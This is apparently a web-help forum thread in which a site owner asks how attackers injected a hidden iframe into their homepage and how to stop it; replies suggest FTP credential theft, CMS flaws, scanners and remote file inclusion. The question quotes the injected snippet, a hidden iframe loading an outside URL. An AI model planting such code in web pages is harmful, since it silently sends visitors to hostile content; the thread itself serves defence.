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How can I prevent hackers from putting code into my website?

I have had twice now, someone place a string of code on one of my websites.  They stick it after the </body> tag inside a <div> as you see below.  This is a different url in the code than the first time they did this, but the code is the same.  (i.e. It's the same kind of redirect inside a <div> tag).  The one I found this morning looks like:

</body>
 <div style="visibility:hidden"><iframe src="http://joomla.philae.net/blog.php" width=10 height=10></iframe></div>
</html>

The webpage they install it on is hcgdietdropsreview.com/index.html.  

I need to know how to prevent this from happening?  
How do they install it?  

The server host says that no one is accessing my account, but not being a programmer I don't know where to turn.  I'm good with html but only know enough .php to do very basic tasks.

Also, I don't know if this is relevant or not but prior to asking this question, I did have some facebook code on this index page, hidden behind a <!-- --> tag.  I had placed it there for when I officially launch the website.  I didn't want it visible until after I launch, although the domain and website are live at the moment.  It was one of those facebook "like" buttons.  Since it too is an <iframe> I decided to remove it, in case it had anything to do with the malicious code someone is putting on my page.

Please let me know if you need any other information or details and thanks in advance for your help.
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wgrogers
Asked:
wgrogers
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2 Solutions
 
rstaatsCommented:
May be an exploit in the CMS you're using?  I've had this issue with wordpress a couple times where it was vulnerable to a SQL injection attack.  Wordpress is really good about turning around and fixing the issue promptly, but that's an issue you'd need to take up with the dudes coding the CMS.
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stilliardCommented:
Theres also been an increase on ftp virus's which steal your ftp account details, then edit files such as index.php/html and .htaccess and add code such as that or links to porn sites, and with htaccess hacks they can redirect traffic from search engines over to other sites. You can prevent these by locking your ftp access to your ip address, or only open it when needed.
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wgrogersAuthor Commented:
rstaats:  Not using CMS - this just straight forward html, nothing else.  I realize this is a wp theme but was a template I got and am using as html.  I do not have a wp account.

stilliard:  .htacess has not been accessed.  Only the string of code there on the end of the html was updated via ftp, somehow.  I checked with the host and no one has accessed my ftp today except by my own IP address.  

I do not get how this kind of code gets on the page if they are not going by ftp?
Is there any way to prevent this code from being installed on one's website?
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stilliardCommented:
Ok, try running a security scanner over your site, it may find something.
I use acunetix to scan my sites, there's a free version you can download from there site.
http://www.acunetix.com/
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wgrogersAuthor Commented:
Stilliard

Okay, I don't really have that much I need to scan.  I can view all the site pages in about four minutes.  As I mentioned, I'm in process of developing the site and only have a very few pages online.  Your acunetix site is nice, but way overkill for what I've got.

As for finding the malicious code, I found and removed it about an hour after they had uploaded it to the website.  Nothing else has been uploaded to my site.

Truly, all I'm trying to determine is:  1) How does a hacker add this code, (see ex above in description), without accessing the ftp or host account and 2) What steps can I take to prevent such a hack in the future?

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stilliardCommented:
Although it would seem overkill, its free and worth it just to see if it finds anything, the free version will mainly scan for XXS attacts but also finds some other things which may be more usefull for you here.

Also i've found some other links that may help you find out how this happened and how to prevent it or at least detect it fast in future.
http://www.experts-exchange.com/Networking/ISPs_Hosting/Web_Hosting/Q_24521530.html
http://www.diovo.com/2009/03/hidden-iframe-injection-attacks/
http://blog.unmaskparasites.com/2009/10/28/evolution-of-hidden-iframes/
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wgrogersAuthor Commented:
I think what I was really looking for is called a "Remote File Inclusion (RFI) vulnerability" and I found some useful information on the website: http://25yearsofprogramming.com/blog/20070705.htm

So, stilliard, because you did respond to my post, I will award the points to you.
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wgrogersAuthor Commented:
See my last post if RFI vulnerability is an issue for your case.
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